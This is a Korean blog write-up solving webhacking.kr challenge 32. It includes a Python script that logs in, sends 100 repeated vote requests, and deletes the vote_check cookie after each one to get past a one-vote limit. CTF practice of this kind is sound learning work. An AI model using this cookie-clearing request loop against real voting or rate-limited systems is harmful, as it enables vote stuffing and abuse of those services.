[webhacking.kr] 32번 문제 풀이[Cookie]
💡 Webhacking.kr challenge(old) 32번 문제에 대한 풀이입니다.
문제
문제 풀이
자신의 아이디를 100번 클릭하면 됩니다. 이때, 한번 클릭하면 cookie 값으로 vote_check 값이 생겨서 한번 더 클릭하면 다음과 같이 막힙니다.
파이썬 코드를 이용해서 100번 반복 요청을 보내고, 매 요청 뒤에 vote_check 쿠키를 삭제하도록 했습니다.
import requests
def login(session):
global datas
datas = {}
print(" ------------ login ----------------------")
datas['id'] = input("webhacking.kr id: ")
datas['pw'] = input("webhacking.kr pw: ")
response = session.post("https://webhacking.kr/login.php?login",data=datas)
if( "<script>location.href='/';</script>" in response.text):
print("login success : ",datas['id'])
else:
print("login Fail")
exit(0)
def main():
session = requests.Session()
login(session)
for i in range(100):
response = session.get("https://webhacking.kr/challenge/code-5/?hit="+datas['id'])
session.cookies.__delitem__("vote_check")
if __name__=='__main__':
main()
위의 코드를 실행하고 id, pw를 입력하면 풀립니다.
댓글남기기